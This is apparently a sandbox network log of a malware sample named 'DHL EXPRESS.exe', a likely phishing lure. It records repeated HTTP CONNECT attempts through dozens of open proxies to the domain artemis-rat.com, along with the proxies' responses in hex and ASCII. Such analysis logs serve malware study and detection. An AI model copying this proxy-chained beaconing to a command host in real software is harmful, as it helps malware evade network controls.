1722	192.168.2.8	54821	31.170.19.241	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.114480019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.8	54834	185.151.146.178	1234	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.114489079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.8	54935	45.14.174.180	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.114691019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.268805981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.8	54824	45.11.95.165	5045	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.114725113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.8	54934	104.20.67.113	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.114731073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.269315958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.8	54955	104.18.220.95	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.117506981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.271722078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.8	54875	88.79.243.103	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.117752075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.437413931 CET	1254	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 952 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 37 3a 33 36 3a 35 34 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://artemis-rat.com/">https://artemis-rat.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 17:36:54 GMT</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.8	54735	175.183.82.221	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.120723963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.594778061 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.8	54976	162.247.243.167	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.124480963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.285089016 CET	159	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 15 content-type: text/plain; charset=utf-8 x-served-by: cache-bur-kbur8200173 Data Raw: 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 Data Ascii: invalid request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.8	51276	38.159.232.6	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.124633074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.931471109 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.8	54844	13.234.24.116	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.130522013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.523056030 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:54 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.8	54995	162.241.53.72	62192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.133430004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769093037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.456849098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769340038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.8	54922	163.172.144.132	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.161209106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.8	54895	177.38.5.16	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.171363115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.8	53890	107.180.90.88	7936	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.183991909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.206584930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.8	51411	51.161.33.206	44523	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.184410095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.269089937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.269406080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.269365072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.268925905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.284435034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:42.284451008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:06.300108910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:54.300105095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.8	53899	194.4.50.132	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.192728043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.8	54440	110.77.135.70	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.192959070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.8	54905	45.11.95.165	5036	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.198839903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958338022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.8	54980	27.96.235.171	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.209609032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.501722097 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.8	55003	45.120.178.197	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.289177895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.8	54984	203.218.172.225	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.291691065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.8	54965	91.189.177.190	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.296845913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.630366087 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 